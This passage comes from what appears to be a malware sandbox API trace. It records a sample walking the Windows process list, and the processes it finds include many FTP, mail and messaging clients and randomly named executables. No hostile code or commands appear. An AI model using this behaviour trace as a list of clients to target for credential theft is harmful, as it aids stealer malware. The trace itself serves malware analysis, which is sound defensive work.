szExeFile="dwm.exe")) returned 1 [0120.287] lstrlenW (lpString="dwm.exe") returned 7 [0120.287] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x58, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.288] lstrlenW (lpString="svchost.exe") returned 11 [0120.288] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.288] lstrlenW (lpString="svchost.exe") returned 11 [0120.288] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.844] lstrlenW (lpString="svchost.exe") returned 11 [0120.845] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.845] lstrlenW (lpString="svchost.exe") returned 11 [0120.846] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.846] lstrlenW (lpString="svchost.exe") returned 11 [0120.846] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.847] lstrlenW (lpString="svchost.exe") returned 11 [0120.847] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.848] lstrlenW (lpString="svchost.exe") returned 11 [0120.848] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.848] lstrlenW (lpString="svchost.exe") returned 11 [0120.849] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.849] lstrlenW (lpString="svchost.exe") returned 11 [0120.849] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.850] lstrlenW (lpString="svchost.exe") returned 11 [0120.850] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0120.851] lstrlenW (lpString="spoolsv.exe") returned 11 [0120.851] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.852] lstrlenW (lpString="svchost.exe") returned 11 [0120.852] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0120.852] lstrlenW (lpString="audiodg.exe") returned 11 [0120.853] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0120.853] lstrlenW (lpString="sihost.exe") returned 10 [0120.853] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0120.854] lstrlenW (lpString="svchost.exe") returned 11 [0120.854] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0120.855] lstrlenW (lpString="taskhostw.exe") returned 13 [0120.855] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0120.855] lstrlenW (lpString="explorer.exe") returned 12 [0120.855] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0120.856] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0120.856] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0120.857] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0120.857] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0120.858] lstrlenW (lpString="Memory Compression") returned 18 [0120.858] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0120.858] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0120.859] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0120.859] lstrlenW (lpString="SearchUI.exe") returned 12 [0120.859] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0120.860] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0120.860] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0120.861] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0120.861] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending.exe")) returned 1 [0120.861] lstrlenW (lpString="pending.exe") returned 11 [0120.861] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bug workers.exe")) returned 1 [0120.862] lstrlenW (lpString="bug workers.exe") returned 15 [0120.862] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="succeed.exe")) returned 1 [0120.863] lstrlenW (lpString="succeed.exe") returned 11 [0120.863] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="springs antonio washer.exe")) returned 1 [0120.864] lstrlenW (lpString="springs antonio washer.exe") returned 26 [0120.864] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bookings.exe")) returned 1 [0120.864] lstrlenW (lpString="bookings.exe") returned 12 [0120.865] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="tramadol for.exe")) returned 1 [0120.865] lstrlenW (lpString="tramadol for.exe") returned 16 [0120.865] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x550, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="freezenegotiationsg.exe")) returned 1 [0120.866] lstrlenW (lpString="freezenegotiationsg.exe") returned 23 [0120.866] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="starter detection.exe")) returned 1 [0120.867] lstrlenW (lpString="starter detection.exe") returned 21 [0120.867] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="unified aus.exe")) returned 1 [0120.867] lstrlenW (lpString="unified aus.exe") returned 15 [0120.867] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="taiwan registration.exe")) returned 1 [0120.868] lstrlenW (lpString="taiwan registration.exe") returned 23 [0120.871] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="idolcollectibles.exe")) returned 1 [0120.872] lstrlenW (lpString="idolcollectibles.exe") returned 20 [0120.872] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="headlines.exe")) returned 1 [0120.873] lstrlenW (lpString="headlines.exe") returned 13 [0120.874] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ash-method.exe")) returned 1 [0120.875] lstrlenW (lpString="ash-method.exe") returned 14 [0120.875] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="jane_conscious_information.exe")) returned 1 [0120.877] lstrlenW (lpString="jane_conscious_information.exe") returned 30 [0120.877] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="programmes officially.exe")) returned 1 [0120.878] lstrlenW (lpString="programmes officially.exe") returned 25 [0120.878] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gerald_cdna_charleston.exe")) returned 1 [0120.878] lstrlenW (lpString="gerald_cdna_charleston.exe") returned 26 [0120.879] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="george-depending.exe")) returned 1 [0120.880] lstrlenW (lpString="george-depending.exe") returned 20 [0120.880] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="examinationrecipes.exe")) returned 1 [0120.881] lstrlenW (lpString="examinationrecipes.exe") returned 22 [0120.881] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="repeat go.exe")) returned 1 [0120.882] lstrlenW (lpString="repeat go.exe") returned 13 [0120.882] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="showcase.exe")) returned 1 [0121.303] lstrlenW (lpString="showcase.exe") returned 12 [0121.304] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0121.305] lstrlenW (lpString="3dftp.exe") returned 9 [0121.305] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0121.306] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0121.306] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0121.307] lstrlenW (lpString="alftp.exe") returned 9 [0121.307] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0121.308] lstrlenW (lpString="barca.exe") returned 9 [0121.308] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0121.308] lstrlenW (lpString="bitkinex.exe") returned 12 [0121.309] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0121.309] lstrlenW (lpString="coreftp.exe") returned 11 [0121.310] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0121.311] lstrlenW (lpString="far.exe") returned 7 [0121.311] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0121.312] lstrlenW (lpString="filezilla.exe") returned 13 [0121.312] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0121.313] lstrlenW (lpString="flashfxp.exe") returned 12 [0121.313] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0121.313] lstrlenW (lpString="fling.exe") returned 9 [0121.314] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0121.314] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0121.314] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0121.318] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0121.318] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0121.319] lstrlenW (lpString="icq.exe") returned 7 [0121.319] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0121.320] lstrlenW (lpString="leechftp.exe") returned 12 [0121.320] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0121.321] lstrlenW (lpString="ncftp.exe") returned 9 [0121.321] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0121.322] lstrlenW (lpString="notepad.exe") returned 11 [0121.322] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0121.323] lstrlenW (lpString="operamail.exe") returned 13 [0121.323] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0121.324] lstrlenW (lpString="pidgin.exe") returned 10 [0121.324] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0121.326] lstrlenW (lpString="scriptftp.exe") returned 13 [0121.326] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0121.327] lstrlenW (lpString="skype.exe") returned 9 [0121.327] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0121.328] lstrlenW (lpString="smartftp.exe") returned 12 [0121.328] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0121.329] lstrlenW (lpString="thunderbird.exe") returned 15 [0121.329] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0121.330] lstrlenW (lpString="totalcmd.exe") returned 12 [0121.331] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0121.332] lstrlenW (lpString="trillian.exe") returned 12 [0121.332] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0121.333] lstrlenW (lpString="webdrive.exe") returned 12 [0121.333] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0121.334] lstrlenW (lpString="whatsapp.exe") returned 12 [0121.334] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0121.335] lstrlenW (lpString="winscp.exe") returned 10 [0121.335] Process32NextW (in: hSnapshot=0x374, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, 